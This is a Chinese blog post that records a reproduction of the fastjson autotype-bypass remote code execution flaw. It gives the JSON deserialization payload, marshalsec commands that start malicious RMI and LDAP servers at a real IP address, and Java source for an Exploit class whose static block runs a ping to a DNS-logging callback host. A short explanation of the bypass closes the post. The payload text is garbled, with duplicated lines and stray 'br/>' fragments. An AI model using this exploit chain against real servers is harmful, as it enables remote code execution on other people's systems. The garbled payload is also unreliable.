溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

fastjson的RCE漏洞復(fù)現(xiàn)記錄

發(fā)布時(shí)間:2020-07-06 12:03:50 來源:網(wǎng)絡(luò) 閱讀:1700 作者:wx5b0b88843cb2a 欄目:安全技術(shù)

參考鏈接:

https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html
https://xz.aliyun.com/t/5680

0x01 漏洞復(fù)現(xiàn) RMi

fastjson的RCE漏洞復(fù)現(xiàn)記錄

1. payload:

{"a":{
"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"autoCommit":true
}
}

fastjson的RCE漏洞復(fù)現(xiàn)記錄

2. 在×××上執(zhí)行,啟動(dòng)一個(gè)rmi服務(wù)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"

  1. 生成編譯***腳本

將下面代碼保存為:Exploit.java
然后執(zhí)行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x02 漏洞復(fù)現(xiàn) LDAP

1. payload:

{"a":{
"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"autoCommit":true
}
}

fastjson的RCE漏洞復(fù)現(xiàn)記錄

2. 在×××上執(zhí)行,啟動(dòng)一個(gè)rmi服務(wù)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"

  1. 生成編譯***腳本
    Exploit.java 中不要導(dǎo)入包

將下面代碼保存為:Exploit.java
然后執(zhí)行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x03 漏洞原理

這次繞過的大體思路是通過java.lang.Class,將JdbcRowSetImpl類加載到map緩存,從而繞過autotype的檢測(cè)。因此將payload分兩次發(fā)送,第一次加載,第二次執(zhí)行。默認(rèn)情況下,只要遇到?jīng)]有加載到緩存的類,checkautotype就會(huì)拋出異常并中止。

當(dāng)發(fā)送第一次請(qǐng)求時(shí),Class是通過deserializers.findClass加載的,然后Class將JdbcRowSetImpl類加載進(jìn)map中,然后第二次請(qǐng)求時(shí),就這里就成功找到了JdbcRowSetImpl類,從而繞過檢測(cè)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI